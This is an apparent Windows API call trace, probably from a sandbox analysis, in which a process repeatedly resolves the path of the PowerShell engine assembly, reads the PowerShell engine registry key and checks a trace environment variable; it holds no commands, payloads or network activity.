[0040.712] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.712] GetCurrentProcessId () returned 0xad4
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.713] GetLastError () returned 0xcb
[0040.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.713] GetLastError () returned 0xcb
[0040.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.713] GetLastError () returned 0xcb
[0040.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.713] GetLastError () returned 0xcb
[0040.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.713] GetLastError () returned 0xcb
[0040.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.713] GetLastError () returned 0xcb
[0040.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.713] GetLastError () returned 0xcb
[0040.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.714] GetLastError () returned 0xcb
[0040.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.714] GetLastError () returned 0xcb
[0040.714] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e85c | out: phkResult=0x16e85c*=0x330) returned 0x0
[0040.714] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e8a4, lpData=0x0, lpcbData=0x16e8a0*=0x0 | out: lpType=0x16e8a4*=0x1, lpData=0x0, lpcbData=0x16e8a0*=0x56) returned 0x0
[0040.714] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e8a4, lpData=0x365310, lpcbData=0x16e8a0*=0x56 | out: lpType=0x16e8a4*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e8a0*=0x56) returned 0x0
[0040.714] RegCloseKey (hKey=0x330) returned 0x0
[0040.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.715] GetLastError () returned 0xcb
[0040.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.715] GetLastError () returned 0xcb
[0040.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.715] GetLastError () returned 0xcb
[0040.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e334, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.715] GetLastError () returned 0xcb
[0040.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.715] GetLastError () returned 0xcb
[0040.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.715] GetLastError () returned 0xcb
[0040.723] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.723] GetLastError () returned 0xcb
[0040.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.724] GetLastError () returned 0xcb
[0040.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.724] GetLastError () returned 0xcb
[0040.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.724] GetLastError () returned 0xcb
[0040.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.724] GetLastError () returned 0xcb
[0040.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.724] GetLastError () returned 0xcb
[0040.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.724] GetLastError () returned 0xcb
[0040.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.724] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.725] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d974, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.726] GetLastError () returned 0xcb
[0040.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.729] GetLastError () returned 0xcb
[0040.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
